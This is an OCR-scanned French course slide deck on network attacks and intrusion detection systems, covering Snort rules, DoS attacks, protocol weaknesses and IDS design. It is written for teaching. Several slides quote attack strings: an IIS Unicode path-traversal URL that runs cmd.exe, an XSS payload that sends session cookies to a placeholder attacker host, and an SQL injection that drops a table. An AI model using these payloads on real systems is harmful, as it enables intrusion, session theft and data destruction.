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1. Présentation des outils
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Sniffers

* Enregistrement et analyse des trames
TCP/IP sur ethernet

— Tcepdump
— Wireshark (ex ethereal)
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Scanners

* Exploration du réseau, détection des
vulnérabilites

—Nmap
— Nessus
— Nikto pour scanner les serveurs http
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Systeme de détection d’intrusion

* Un IDS (Intrusion Detection System) est un ensemble de
composants logiciels et/ou materiels dont la fonction
principale est de détecter et analyser toute tentative
d’effraction volontaire ou non et/ou de maintien dans un
systtme d’informations ainsi que toute altération
c¢ventuelle de ces données.

* [l utilise souvent un mécanisme €coutant le trafic réseau
ou les logs afin de repérer des activites anormales ou
suspectes et permettant ainsi d'avoir une action de
prévention sur les risques d'intrusion.
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H-IDS

* Un H-IDS (Host-based Intrusion Detection

System) analyse la securit¢ au niveau des
hotes.

— Tripwire
—Aide
— Chkrootkit
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N-1DS

* Un N-IDS (Network-based Intrusion
Detection System) analyse la sécurite¢ au
niveau du réseau.

— Snort
— Prelude
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Snort : caracteristiques

IDS a signature

Performant et rapide

Tres flexible, mais peu convivial

Orienté IP

Distribue¢ avec plus de 1 500 regles
Classement des alertes avec priorite
Possibilité de fonctionner en mode distribué :
— tiers détecteur, tiers serveur et tiers console
Code Open Source
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Snort : fonctionnalités

Mode sniffer : sous linux, solaris, windows

Mode IDS : analyse le trafic pour deécouvrir
d'éventuelles attaques

Notifications : envoi de messages
Susceptible de répondre aux attaques
Mise a jour des regles de filtrage

Grande base de signatures mise a jour par les
utilisateurs et développeurs.

Possibilité d’€crire ses propres regles
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Snort : regles

* Exemple :

alert 1icmp any any -> any any

(msg: "Ping with TTL=100Y ; ttl: 100;)
* Deux parties :

—en-téte : définit les actions a effectuer lorsque
les conditions de la regle sont vérifiées.

— options : les actions sont effectuces lorsque la
conjonction des criteres définis dans les options
est vraie.
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Snort : en-téte de regle

action protocole liste 1p source port

-> liste 1p destination port

ACtiOIlSZalert, log, pass, activate, dynamic

Protocoles : 1p, Tcp, upp, ICMP

Adresses au format CIDR (Classless Inter-Domain
Routing) ou any

Ports : numéro de port ou intervalle de ports
comme 20:23 OU any
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Snort : options de regle

* Exemples d’options courantes :

- msqg: "message court”

— flags: drapeaux de I’en-téte TCP

— content: texte brut ou content: données hexa
— offset: entier

— ttl: entier

~ nocase:

— logto: "nom de fichier"

— 1d:entier

— seq: valeur hexadecimale

— ack: entier
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Kit de sécurité

* Distribution d’outils de sécurité sur
CD-ROM bootable a base de Fedora :
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Quelques chifires sur le piratage
en 1999

Unauthorized *  Type of Intrusion $ Losses %
Insider Access System *
Sabotage of Data Peqelraton by *  Information Theft 42,496,000  40%
or Networks *  Financial fraud 39,706,000 37%
Virus Attacks \ *  Abuse of net access 7,576,000 7%
a *  Virus attacks 5,274,000 5%
Insider Abuse of *  Sabotage 4,421,000 4%
Net Access *  Insider misuse 3,567,000 3%
*  Qutsider Penetration 2,885,000 3%
Financial Fraud /
*  Total $105,925,000

Source: “1999 CSI/FBI Computer Crime and Security Survey” Computer Security Institute -
www.gocsi.com/losses.htm
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En 2006

£ adobe Acrobat Professional - [FBIZ006.pdf] =] |
7__‘:| Fichier Edition Affichage Document Outils  Options awvancées Fenétre 7 =] |
100 % T
A\ TYPE OF ATTACK 2006
@~ Virus G5%
¢~ Laptop/mobile theft  47%
—B- Insider abuse of Net ~ 42%
access
—a— Unauthorized access 32%
to information
~m@- Denial of service 25%
—@- System penetration 15%
—&— Ahuse of wireless 14%
network™
—#— Theft of proprietary 9%
information
—@- Financial fraud 9%
—4— Tglecom fraud B%
—— Misuse of public Weh 6%
application*®
—- \Weh site defacement* 6%
—&— Sahotage 3%
0% * guestions added in 2004
1999 2000 2001 2002 2003 2004 2005 2006
CSI/FB| 2006 Computer Crime and Security Survey 2006: 616 Respondents
Source: Computer Security Institute -
] 215,9xz794mm 4| ;
[ 4 14w [h PO O LI[H [H
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En 2010

Man-delrery payvment/merchandse

FBI-rirlatad scams

w
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Credit card frawd

#
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[
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Top 10 crime types reported to the US Internet Crime Complaint Center
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En octobre 12

Distribution of Attack Techniques
October 2012

mEaL
m DDos
m Unknown
m Defacement
B s0Lr
m X55
B E-mail Hjacking
m Targeted Attack
B Twitter Account Hijacking
B Local File Inclusion
m DDasY
m DNE Hijacking
m Keypad Tampering
N Loopholke in proprietary protocoke
B PHP Security Flaw
m Reprogrammed Message Machines
m Socia Engineering
Unauthorized Access
Wordpress Vulnerability

Image provenant de http://hackmageddon.com/
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Rappel : ouverture d’une
connexion TCP

N°de séquence = x

SYN
N°de séquence = vy

SYN

/ ACK x+1
N°de séquence = x+1
ACK y+1 T
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Attaque de Mitnick (1994) 1

* Kevin Mitnick (KM) s’introduit
frauduleusement sur des stations SPARC
avec solaris 1 de Tsutomu Shimomura et
vole des fichiers.

* Techniques utilis¢es
—Inondation de SYN
— Vol de session TCP (IP spoofing)
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Attaque de Mitnick 2

* Cadre : serveur et station sans disque qui
fait confiance au serveur. Le super
utilisateur root sur le serveur peut se
connecter sans mot de passe a la station.

* KM wusurpe I'IP du serveur pour se
connecter sur la station, prend le controle de
la station, patche son noyau pour pouvoir
voler les fichiers.
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Attaque de Mitnick 3

* On ne peut pas avoir deux adresses IP
routables 1dentiques opérationnelles en
meéme temps. Les paquets de KM sont
envoyes avec une adresse IP source
forgee, celle du serveur. KM ne regoit pas
les réponses de la station qui sont
ENnvVOyees au Serveur.
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Attaque de Mitnick 4

* KM a ouvert des connexions TCP sur la
station et constate qu’il pouvait prédire les
numeros de séquence qu’elle utilise. 1l
trompe ainsi la station en lui faisant croire
qu’1l recoit ses réponses.

* KM neutralise le serveur avec une
inondation de SYN afin que de dernier ne
perturbe pas 1’échange entre la machine
attaquante et la station.
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Attaque de Mitnick 5

* Il modifie le fichier .rhosts de la
station pour pouvolr se connecter en tant
que root de n’importe autre adresse IP.

* Il nettoie les traces de son passage en
réinitialisant les connexions ouvertes qui
saturent la mémoire du serveur afin que le
serveur accepte a nouveau les connexions.
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Attaque MyDoom (2004) 1

* MyDoom est un virus de type ver Internet, se
propageant principalement par email, qui a eu un
impact €conomique 1mportant en paralysant de
nombreux serveurs de messagerie.

— 26 janvier 2004 : Apparition du virus. Le virus
est a 'origine d’un message email sur dix ce
jour la.

— 29 janvier 2004 : Le virus est a ’origine d’un
message email sur cing.
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Attaque MyDoom 2

* [es effets cachés du virus sont :

—une backdoor TCP qui utilise le port 3127
sous forme de SHIMGAPIL.DLL qu
permet de se connecter sur la machine
infectee ;

—une attaque de dénis de service sur le site
web de SCO limitée dans le temps qui
n’a fonctionn¢ que dans 25% des cas.
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Mc¢ethodologie d’une intrusion

* Reconnaissance : collecte d’informations

* Découverte du systeme : cartographie du
réseau cible

* Exploitation de failles de securite
* Effacement des traces
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Attaques par deni1 de services
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SYN Flood

* Envol du premier paquet de d’établissement de
connexion TCP, mais pas du troisieme paquet.

* La table de connexions du serveur se remplit.
Lorsqu’elle est saturée, le serveur ne répond plus.

* Les piles TCP/IP modernes détruisent ces
connexions a moiti€ ouvertes lorsqu’un certain
seull est atteint.
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Teardrop attack

* Attaque par {ragmentation : envor de
paquets IP dont les fragments se recouvrent.

* Les machines Windows 3.1, Windows 95,
Windows NT et les linux avec des noyaux
de versions antérieures a 2.0.31 et 2.1.63
sont vulnérables.

8/12/12 33



Ping of death

* Envor de paquet ICMP (Internet Control
Message Protocol) de taille supérieure a la
taille d’un paquet IP soit plus de 65 535
octets.
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Smurf

* L’attaque Smurf consiste a diffuser des
broadcast de requétes ICMP echo
request en forgeant 1’adresse source.

* La machine avec ’adresse correspondante
est inondée par les réponses.

* Les attaques utilisant les adresses de
broadcast ne fonctionnent en général que
sur des réseaux locaux.
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Deéni de service distribué

* Une machine maitre installe clandestinement des
agents avec lesquels elle dialogue en utilisant des
ports spéciaux ou des canaux caches.

* Elle synchronise les agents pour qu’ils initient une
attaque de démi de service tous ensemble
simultanément.

* Ces attaques sont difficiles a arréter. Il faut
intervenir pendant la phase d’installation des
agents. Un IDS peut détecter cette phase.
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Logiciels pour le dénis de service
distribue (1)

* Trinoo : utilise des connexions TCP standards
avec les agents, inonde la cible de requétes UDP
sur des ports aléatoires.

* Tribe Flood Network (TFN) : utilise
ICMP pour communiquer avec les agents, peut
faire des attaques smurf, SYN flood, ICMP flood,
les agents peuvent forger I'IP source, existe en
version ou les ¢changes avec les agents sont
cryptes TFN2K.
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Logiciels pour le dénis de service
distribue (2)

* Stacheldraht : variante de TFN2K

* Floodnet : inonde la cible avec des requétes
HTTP sur des pages inexistantes, les agents sont
installés volontairement.

* Trinity : utilise des canaux IRC pour dialoguer
avec les agents, inclut une backdoor sur le port
33270, offre de nombreux mécanismes d’attaques
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Canaux cacheés

* Loki (1997) : Dissimulation du dialogue dans le
champ donnée d’une requéte ICMP echo
reply

* Il existe des versions qui cryptent les échanges.

* sucKIT : programme qui active des backdoors
lorsqu’arrive un paquet sur le port 4567, puis sur

le port 6543, puis sur le port 8765 issus d’une
méme machine.
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Bufttfer overtlow

* Le débordement de tampon consiste a €crire dans
la mémoire plus d’information que la taille allouce
pour la recevorr.

* Le programme peut remplacer la valeur de retour
de I’appel d’une fonction dans la pile par un valeur
correspondant a un code malicieux.

* Le pirate utilise ce moyen pour prendre controle
de la machine.
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Attaques utilisant les
vulné¢rabilites des protocoles ou
des implémentations
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Rappel : le protocole ARP

* Le protocole ARP (Address Resolution
Protocol) permet d’obtenir une adresse

MAC a partir d’une adresse IP sur un réseau
IP.

* La station demandeuse diffuse une requéte
ARP. Elle met en cache la réponse obtenue.
Aucun mecanisme d’authentification n’est
mis en ceuvre.
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ARP-poisoning

* Une machine pirate P peut se faire passer pour une
autre A en envoyant une réponse avec |’adresse
MAC de P a la place de celle de A. S1 elle fait de
méme avec une autre machine B, la machine P
peut capturer tous les ¢échanges entre A et B.

* En donnant une fausse adresse MAC pour la
passerelle, dans une trame ARP, on peut paralyser
la connexion avec 1’extérieur.
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Portmap

* Portmap : processus en ¢coute sur le port 111,
utilisé par NFS pour le partage de fichiers et NIS

pour le partage des comptes utilisateurs en
particulier.

* Ce processus présente des vulnérabilites qui
permettent d’acceéder a un partage de fichiers en
outrepassant les droits d’acces ou d’obtenir la base
des mots de passe chiffrés sur le serveur.
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Finger, 1dent

* Ces  protocoles  donnent  beaucoup
d’informations susceptibles d’aider les
pirates.

* [1 faut Iimiter leur utilisation au strict
necessaire sur des portions de LAN et bien
le filtrer au niveau des routeurs et des
pare-feux.
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Netbios, SMB, NIS, NFS,
XWimdow, RDP, VNC

* Ces protocoles permettent de partager des
ressources sur un reseau local.

* [l faut veiller a bien gérer les droits d’acces
et filtrer ces protocoles au niveau des
routeurs et des pare-feux.
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Rsh, rlogin, telnet, ftp

*rlogin, rsh, telnet, ftp : Ces
commandes permettent de travailler a
distance a travers le réseau. Les mots de
passe sont ¢échangés en clair.

* Il vaut mieux utiliser ssh et sftp qu
chiffrent les échanges.
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SSH

* Malgre, le chiffrement des €changes, ssh
est vulnérable face aux dispositifs d’écoute
sur le clavier.

* En outre, ssh peut €tre utilis¢ par des
pirates sur des ports non standards. La
compromission d’une machine est dans ce
cas difficile a detecter.
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DHCP

* Un serveur DHCP qui distribue les adresses
de maniere dynamique sur un plage sans
verifier les adresses MAC peut etre sature
par de nombreuses requétes.

* Un serveur DHCP clandestin permettrait a
un pirate de controler tout le trafic réseau.
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SNMP

* Le protocole SNMP (Smmple Network
Management Protocol) n’a pas ¢€t¢ congu en
prenant en compte les questions de sécurite.

* Si un pirate connait le nom de communauté
read/write utilis¢, i1l peut souvent reconfigurer les
equipements réseau a sa guise.

* Le trafic SNMP qui utilise les ports 161, 162, 199
et 391 ne doit pas €tre autoris¢ a traverser les
par-feux.

8/12/12 50



Peer to peer

* Les logiciels d’échange de fichiers peer to
peer sont de gros consommateurs de bande
passante et peuvent poser des problemes de
securite.

* [l vaut mieux limiter leur utilisation.
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DNS : rappel

DNS Transaction
Example
l Wt&m&mw}

ns.isp.com %
(ISP Namaserwarj

3

Y

B 2 -—

_Ir -
End User

nslookup www.domain.com

a.root-servars.net
(Foot Nameserver)

1 - User asks ISP nameserver i look up the IF address of wew. domain.com

2 - ISP nameserver guanes roct namesenver ta find cut who is autharitative for gomain.com
3 - Hoot namesener answers: ns.domain.com is authoritative for demain.com

4 - I5P namesener guanes ns.domain.com for IF aodress of wew. domain.cam

g = ng.domain.com answers “www damain.com is at 1. 2.3.4"

- IZP nameserver sends reply o user - “www domain.com is at 1. 2.3.4"

Source :
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DNS : attaque par
empoisonnement du cache 1

* Les serveurs DNS mettent en cache les
entrées des domaines sur lesquels 1ls n’ont
pas autorite.

* En empoisonnant un cache DNS, au moyen
d’un autre serveur DNS par exemple, un
pirate peut usurper 1’1dentit¢ d’'une machine,
d’un site web ou perpétrer une attaque de
type Man In the Middle et pirater des
connexions SSL.
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DNS : attaque par
empoisonnement du cache 2

* Les requétes DNS sont 1dentificées par un id
codé sur 16 bits, geénér¢ de maniere pseudo
aléatoire par le client ou le serveur qui
effectue une résolution. La réponse doit
contenir cet id.

* En prédisant cet id, un pirate peut répondre
a la place d’un autre serveur en donnant des
informations fausses.
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DNS : attaque par
empoisonnement du cache 3

The BIND Birthday Attack
1

e 2

3 : 3

= -

—_—
= P
1 I_t\_:__ :'_.-"
Ol ————— -
S | 4 I! - .

Victim PC = - | Attacker

Victim -

MNamesarver 2

Step 1 - Attacker sends a large number of guenas to the vicim nameserver, all for the same domain namsa
Step 2 - Attacker sends spoofed replies giving fake answers for the guenas it made

Step 3 - At a later ime, victim PG sends a request for the spocfed domain name

Step 4 - Victim nameserver retums fake information to wichm PC

Source :
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DNS : conseils d’organisation 1

* Decouper la fonction DNS en deux :

—serveur DNS en DMZ qui inhibe les requétes
récursives et sert jJuste a donner les
informations relatives aux machines de
I’organisation qui sont visibles sur 1’Internet ;

— serveur DNS interne qui résout les noms.

* Cela evite qu’un attaquant extérieur puisse
provoquer le remplissage du cache avec des
requetes.
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DNS : conseils d’organisation 2

A More Secure Approach - Split-Split DNS

) "'i.f_ - Firewall
e PN
|:l- ._._l -- --
n vz
1 <R
& Authoritative

Mameserver

Internal Network

4 L deed el d e o

Caching "wﬂ | "'#

Mameserver Intenal User

Source :
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DNS : toujours vulnéerable

* L’attaque peut toujours se faire a partir du
LAN a travers des applets java malicieuses
telechargees sur I’Internet par exemple.
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SMTP

* Les serveurs de courrier ¢lectronique sont
confronteés a différents types d’attaque.

—Buffer overflow,
—SPAM,

—Emails forges
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SMTP : conseil d’organisation 1

* Interdire s1  possible au serveur connecté
directement a I’Internet de relayer le protocole

* D¢sactiver si possible les commandes EXPN et
VREY sur celui c1 car elles donnent des
informations utiles pour un attaquant.

 Utiliser une architecture avec différentes couches
de serveurs SMTP pour filtrer les messages.
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SMTP : conseil d’organisation 2

2 Adobe Acrobat Professional - [WP_08.05_Arch_mail.pdf] - |I:I|E|
‘E BOUNDARY CONTROL COMNTENT & POLICY CONTROL USERS -
g :
=
& INTERNAL POLICY &

g GATEWAY PROTECTION MAIL MANAGEMENT D Outlook/
T MESSAGE STORE(S) ——
2 = iy . iy ) ek

% Anti-virus Anti-span Anti virus - E::mia:-?e @Wﬁhmﬁil

? = Novell —
| w < b 4 P @« P> |
B CONNECTION r:l Wireless
[1x]

CORFORATE DIRECTORY([S)
-, \ J/ -
L A — Domi
E DME 0 I I o
v Address \ v > @ —
7 Valdation B
ﬁ Ej p Ei CUARANTINING Active Directory
(]
] —
£ : ENCRYPTION MESSAGING  MESSAGING =| OpenLDAF :
5 : SERVER DIRECTORY  DIRECTORY 5"":3"" :
= E REPLICA MASTER __J Ne P
] : ;
U T Tl I, I, Y 'y I " T T I Im" MM ' Ty " " " T I MT"T " Y " " " """ " """ " Y " """ M"MT"'"" """ """ "TM"T™Y" "™ " " """ " """ " Y"T""" "Y""f“" """ " """ """ " " " "Y' """ """ """ """ T " MY O MY T T OO OO MY TOTIYY™YYYTITYTT W
] z159%e794mm 4] | ]
NERE & sur g el O O L[S H o
Source :
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POP3, IMAP4

* Des impleémentations des serveurs POP3 et
IMAP4 preésentent des vulnérabilites de
type buffer overflow.

* Il faut suivre attentivement les bulletins
d’alerte et corriger les executables.

* Utiliser pops, imaps.
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HTTP CGI

e .La méthode GET | utilisée dans les
formulaires fait transiter les valeurs
renseigneées dans I’URL.

* Il ains1 est possible de faire exeécuter des
commandes aux scripts qui traitent les
formulaires lorsque ces scripts n’effectuent
pas assez de controles sur les valeurs
transmises.
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HTTP Unicode

* Les serveurs IIS 4.0 et 5.0 permettent a un pirate
d’effectuer des commandes avec les droits de
I’utilisateur TUSR.

* La requete http://<cible>/scripts/..
scO%af..scO0%af..
$c0%af/winnt/system32/cmd. exe ?/cC
+dir+c:\ lance la commande dir c: et affiche
le resultat st TUSR peut exécuter cmd . exe.

* Le caractere $c0%af corresponda \.
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HTTP Cross Site Scripting

* Utilisation de lien hypertexte contenant des codes
malicieux.

* Le code malicieux peut contenir des instructions
susceptibles de récupérer un cookie de session
http://<site>/index.html?
tw=<script>document.location.replace( h

ttp://www.pirate.com/detournement.cgi?
"+document.cookie)</script>

* Le pirate peut se connecter a la place de la victime sans
s’authentifier en utilisant le cookie.
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Injection SQL

* De nombreux sites web utilisent des bases de
données. Les requétes SQL peuvent éetre
altérées par les chaines de caracteres saisies
dans les formulaires et contenant des
parametres pour une requéte SQL. Ces
parametres peuvent €tre interprétés comme
des requétes.

Username : OR 1=1; drop table users;

Password : peu 1importe
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Vulnérabilités des serveurs

Client
Web

4

Serveur
hostile

Cross Site
Scripting

Source :
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Application web : conseil
d’organisation 1

* Utilisation d’un reverse proxy qui permet de vérifier :
— "utilisation du protocole HTTP uniquement ;
— I’acces a une liste de répertoires autorises ;

— 1’acces a une liste de fichiers autorisés dans certains
répertoires ;

— ’exécution des fichiers dont les extensions sont
explicitement autorisées ;

— 1’utilisation de parametres dont le type et le contenu
sont autorises pour chaque objet metier de
I’applicatif.
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Application web : conseil

d’organisation 2

(D Requéte HTTP

@) Réponse HTTP

>

Client Weh

Source :
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Application web : conseil

d’organisation 3
* Utilisation d’un pare-feu applicatif

Attacker W orm

% Source :
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Connexion pirate a

un réseau Wi-Fi

* Le protocole WEP (Wire Equivalent Privacy) se
casse en 10 minutes avec des outils comme
Alrcrack.

* Les protocoles WPA/WPA2 (Wi-F1 Protected
Access) en mode personnel utilisent une PSK
(Pre-Shared Key) générée a partir d’un mot de
passe et peut se casser avec des attaques a base de
dictionnaire.

* Les techniques d’intrusion sont ensuite similaires
a celles des reseaux filaires.
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Wi-F1 : conseil d’organisation

* Utiliser WPA2 en mode EAP c’est a dire en
conjonction avec un serveur d’authentification en
utilisant la norme IEEE 802.1x.

* Segmenter et filtrer I’infrastructure Wi-Fi du LAN.
* Garder un réseau filaire a portée

* Empécher le trafic sans fil inter-clients

* Activer I'interface Wi-F1 au besoin sur les clients

* Adapter la puissance des bornes
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Wi-Fi : les 1ds
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Historique 1

* 1984 . Intrusion Detection
Expert System (IDES),
mod¢lisation comportementale d’un

utilisateur unix

* 1988 : Haystack, analyse des données
d’audit en les comparant a des signatures

* 1990 : Network Security Monitor,
premier N-IDS
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Historique 2

* 1991 : DIDS, 1ssu de Haystack, analyse
les données des serveurs et des clients

* 1993 : Next generation IDES, 1ssu
de IDES, mode¢lisation par scénario

* 1994 : premiers produits commerciaux
NetRanger de la societe Wheel Group
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Historique 3
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Les produits du marche en 2004

* Internet Security System : RealSecure
* Symantec : Manhunt

* Cisco System : sondes intégrées dans les
commutateurs Catalyst, Cisco IDS

* Enterasys Network : Dragon
* SourceFire : Snort

* Prelude

8/12/12 79



Les produits du marche en 2010

Figure 1. Magic Quadrant for Metwork Intrusion Prevention Systems
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Différentes approches

analyse
a posteriori
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Reéseau (NIDS)

analyse des logs
et configurations
de: firewall,
routeurs

sniffer réseau

scrutation des
logs systéme

sentinelle de
logs

Serveur (HIDS)
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Type d’IDS

* Il existe plusieurs familles d’IDS :

* Un N-IDS (Network-based Intrusion Detection System)
analyse la sécurité au niveau du réseau.

* Un H-IDS (Host-based IDS) analyse la sécurité au niveau
des hotes.

* Un P-IDS (Protocol-based IDS) analyse le trafic de
protocoles particuliers, par exemple HTTP et HTTPS.

* Un AP-IDS (Application Protocol-based IDS), 1ils
analysent un trafic li¢ a une application, par exemple
application web avec base de données.

8/12/12 82



N-IDS 1

e Un N-IDS nécessite un matériel dédié.

* Contrdle les paquets circulant sur un ou plusieurs
lien(s) reéseau.

* Découvre s1 un acte malveillant ou anormal a lieu.

* Le N-IDS place une ou plusieurs cartes d’interface
réseau du systeme dédi¢é en mode promiscuité
(promiscuous mode).

* Elles peuvent €tre aussi en mode «furtif» (stealth
mode) sans adresse IP. Elles n’ont pas non plus de
pile de protocole attachee.
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N-1DS 2

* Il est fréquent de trouver plusieurs IDS sur les différentes
parties du réseau .

— Une sonde a l'extérieur du réseau afin d'étudier les
tentatives d'attaques.

— Une sonde en interne pour analyser les requétes ayant
traverse le pare-feu ou bien menées depuis I'intérieur.

* L’analyse se fait sur un serveur, mais le ou les connecteurs
sont disperses dans le réseau

* L’analyse et le dépdt du trafic peuvent se faire sur un
segment réseau autre que celui surveillé.
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IDS: N-1ds
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Opcrations effectuces par un
N-IDS 1

1. Capture de la trame en mode promiscuite
2. Analyse et filtrage éventuel bas niveau

3. Détection de la présence de fragments et
passage ¢ventuel a un moteur de
reconstruction

4. Transfert de la trame vers le systeme
d’exploitation
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Opcrations effectuces par un
N-IDS 2

1. Filtrage ¢ventuel

2. Application de divers pré¢ processeurs en
fonction du type de requéte pour contrer
les techniques d’€vasions d’attaques

3. Passage vers le moteur d’analyse
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Modele conceptuel N-IDS
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Emplacement des sondes IDS

* L’emplacement des sondes IDS dépend de la politique de
sécurite
— zone démilitarisée DMZ (attaques contre les systeémes
publics)
— réseau priveé (intrusions vers ou depuis le réseau
interne)

— segment extérieur du pare-feu (détection de signes
d'attaques parmi tout le trafic entrant et sortant avant
filtrage)

* Le trafic entre les ¢léments du systeme IDS ( sondes,
serveur et console ) peut (et doit !) etre chiffre
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Modes de connexion de sonde 1

* Le systeme IDS doit se connecter sur un segment d’un
réseau.

* Divers modes sont possibles :
— utilisation d’un hub sur le segment ;

— Mirroring : utilisation d’un port sur un équipement de
commutation réseau, ce port est un miroir de
I’ensemble du trafic sur le commutateur ;

— TAP (Test Access Port) : combine le hub et le SPAN, le
TAP se branche sur un segment de réseau et n’a aucun
impact méme en cas de panne.
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Modes de connexion de sonde 2
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Test Access Port

Source : http://www.datacomsystems.com/products/network-taps.asp?gclid=CN2p9vjSkY gCFRU6X godeCo4-w
Layerl Tap

Tx

Rx
Server

Analyzer, IDS, Probe

Source : http://www.comworth.co.jp/products/l p/layerltapfamily 01.html
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Comparaison des methodes de
collecte de flux

Avantages

Mirroring

TAP .

8/12/12

Capitalisation sur les
equipements d¢ja installés

Simple a mettre en ceuvre

Fiabilité des mécanismes de
copie de flux

Aucune latence due au
traitement du signal

Inconvénients

Risque de perte de paquets

Limitation sur le nombre de
ports source

Necessite une bonne
coordination entre équipe
sécurite et réseau

Surcott financier
Ajout d’un équipement
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H-IDS 1

* Réside sur un hote particulier (un logiciel installe sur la
machine).

* Se comporte comme un démon ou un service standard sur
un systeme hote.

* Analyse des informations particulieres dans les journaux de
logs (syslogs, messages, lastlog, wtmp...) et les journaux
systemes.

* Controle 'acces aux appels systeémes.
* V¢érifie I'intégrité des systemes de fichiers.

* A acces a des composants non-accessibles sur le réseau par
exemple la base de registre de Windows.
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H-IDS 2

* Capture les paquets réseaux entrant/sortant de 1’hote
pour y déceler des signaux d’intrusions (déni de
Service, backdoors, chevaux de troie, tentatives
d’acces non autoriseés, exécution de codes malicieux,
attaques par buffer overflow, ...).

* Permet de surveiller I’OS et les applications.

* L’Activité locale sur I’hote est surveillée.Les hotes
sans H-IDS ne sont pas surveillés.
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H-IDS versus N-IDS

* Chacun adresse des besoins specifiques

* Les H-IDS sont particuliecrement efficaces
pour déterminer si1 un hote est contamine

* Les N-IDS permettent de surveiller
I’ensemble d’un réseau contrairement a un
HIDS qui est restreint a un hote.
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N-IDS et H-IDS
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Serveur Web

Seeur DNS
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Routeur

..........................

A #

Client nomade

Source : Les IDS de Thierry Evangelista, Dunod/01 Informatique, 2001.
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Les actions des IDS 1

* Envoir d’un e-mail a un ou plusieurs
utilisateurs : envolr d’un e-mail a une ou
plusieurs boites aux lettres pour notifier
d’une intrusion sérieuse.

* Démarrage d’une application : Lancement
d'un programme extérieur pour exécuter une
action specifique (envoi d’un message sms,
emission d’une alerte auditive...).
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Les actions des IDS 2

* Envor d’un trap SNMP a un superviseur
tierce : envol de 1’alerte sous format d’un
datagramme SNMP a une console tierce
comme HP OpenView, Tivoli, Cabletron
Spectrum, etc

* Notification visuelle de 1’alerte : Affichage
de I’alerte dans une ou plusieurs consoles de
management.
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Les actions des IDS 3

* Journalisation (log) de I’attaque : sauvegarde des
details de D’alerte dans une base de données
centrale comme par exemple les informations
survantes: timestamp, adresse IP de [D’intrus,
adresse IP de la cible, protocole utilise, payload.

* Sauvegarde des paquets suspicieux : Sauvegarde
de ’ensemble des paquets réseaux (raw packets)
capturés et/ou seul(s) les paquets qui ont
declenchés une alerte.
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Les types d’actions des
Intrusion Detection System (IPS)

* Reponse passive : tente de bloquer une
attaque

* Réponse active : la cible d’une attaque

emet des paquets en retour a 1’attaquant
presume

8/12/12 102



Comparaison

Avantages
Réponse ¢  Permet de couper
active rapidement et
simplement une
connexion suspecte
Réponse *  L’IDS demeure furtif
passive -« Fonctionne avec tout
type de protocole
8/12/12

Inconvénients

N’est envisageable qu’en TCP
Permet a I’IDS d’étre découvert

Aucune =~ garantie sur
I’authenticité de la source

RIS%UG de SC. voir CXPOSser a une
contre offensive

Nécessite un pare-feu externe

Aucune = garantie quant 4
I’authenticite de la source
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Les actions des IPS 1

* Reconfiguration d’équipement  tierce
(firewall, ACL sur routeurs) :

* Ordre envoy¢ par le N-IPS a un equipement
tierce (Filtre de paquets, pare-feu).

* Reconfiguration immediate dans le but de
bloquer un intrus.
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ILes actions des IPS 2

* Envolr d’un "Reset" : Construction d'un
paquet TCP FIN pour forcer la fin d’une
connexion (uniquement valable sur des
techniques d’intrusions utilisant le protocole
de transport TCP).
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Veéritication du fonctionnement
d’un IDS

* Effectuer un test d’intrusion :
Fixer ’objectif
Planification du test
Effectuer le test

Analyser les reésultats

e e

Ajuster au besoin les regles et les
composants
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Meéthodes de détection
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Meéthodes de détection

* Par sceénario : mecthodes ¢€prouvees et
commercialisées

* Par analyse comportementale : meéthodes
encore souvent du domaine de la recherche
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De¢tection par scenario
(misuse detection)

* Detection en fonction du comportement
actuel de Dutilisateur indépendamment de
ses actions passees

* S’appuie sur la notion de signature

—Une signature désigne un ensemble de
caractéristiques permettant d’identifier
une activite intrusive.
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Exemple de signature

* Chaine alphanumeérique
* Tallle de paquet inhabituelle

* Trame formatée de maniere suspecte
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Mc¢ethodes de déetection par
scenario

* Pattern matching : Recherche de motifs
* Analyse protocolaire : conformité aux RFCs

* Détection d’anomalies : méthodes
heuristiques
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Pattern matching

* Recherche d’une chaine alphanumérique
caracteristique d’une attaque

—C’est une méthode simple a mettre en
ccuvre, adaptee a tous les protocoles.

—Mais les patterns doivent étre de bonne
qualité pour ne pas generer trop de faux
positifs.

— Les pirates savent déguiser leurs attaques.
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Statefull pattern matching

* On considere globalement tous les paquets
liés a une méme session au lieu d’effectuer
une analyse atomique de chaque paquet.

* Une opc¢ration de reconstruction de la
session est effectuc¢e avant la recherche de
motif
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Analyse protocolaire

* Vérification de la conformité aux RFCs

— Peut générer des faux positifs, Cisco et
Microsoft par exemple « améliorent » les RFCs

* Examen de champs et parametres suspects en
fonction des protocoles

* Necessite de 1’écriture de decodeurs spécifiques a
chaque protocole

* Mc¢thode fournissant peu de données concernant
I’1ntrusion
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Analyse heuristique (anomaly
detection)

* Exemples :
— Détection de scans de ports

— Détection de connexions entrantes sur un
port ne correspondant pas a une
application connue
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De¢tection par analyse
comportementale

* Méthodes qui consistent a détecter une
intrusion en fonction du comportement passe

* Définition d’un profil utilisateur en fonction
de ses habitudes de travail et déclenchement
d’une alerte en cas de déviation

* Nécessité de mécanisme d’auto-apprentissage

* Encore au stade de I’experimentation
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Metriques utilisees

* Charge CPU

* Taux d’occupation de la mémoire

* Charge du réseau

* Volume de données ¢changees

* Temps de connexion aux ressources névralgiques
* Re¢partition statistique des protocoles utilisés

* Heures de connexion

* Nombre moyen de session par heure
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De¢tection par analyse
comportementale

* Analyse probabiliste : réseaux bayesiens
* Analyse statistique : modeles statistiques
— Réseaux de neurones
— Systémes experts+Data Mining
* Autres :
— Immunologie

— Graphes

8/12/12 118



1. Problemes techniques
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Probleémes techniques

* Les faux positifs

* Le support des hauts débits

* Le manque de corrélation des informations
* Analyse des flux cryptes

* Le manque d’interopérabilite

8/12/12 120



Les faux positifs

* [’analyse protocolaire peut générer des faux
positifs a cause d’une divergence dans
I’1nterpretation d’une RFC .

* Une signature trop large utilisée avec le pattern
matching peut générer des faux positifs.

* Comment différencier les tentatives d’intrusion
des intrusions réussies ?

— Difficile si1 on utilise une seule sonde en placee
DMZ.
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Support du haut debait

* Les op¢rations de traitement des trames sont
lourdes. Les IDS travaillent a la vitesse de
I’ordre de quelques centaines de Mbit/s par
seconde. Le debit est limite par

—le moteur de capture,

— Le moteur d’analyse.

* Les debits des réseaux peuvent atteindre
quelques Gbit/s.
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Partage de charge

On dedie certains protocoles a certaines sondes, un
sonde pour le web, une sonde pour le mail, etc.

Il1 faut mutualiser la batterie d’IDS pour tous les
segments du réseau.

On peut utiliser les fonctions de répartitions de
charge des commutateurs de backbone. Mais les
paquets  suspects sont ¢liminés par les
commutateurs ce qui peut perturber la détection.

Les boitiers de répartitions de charge dédiés sont
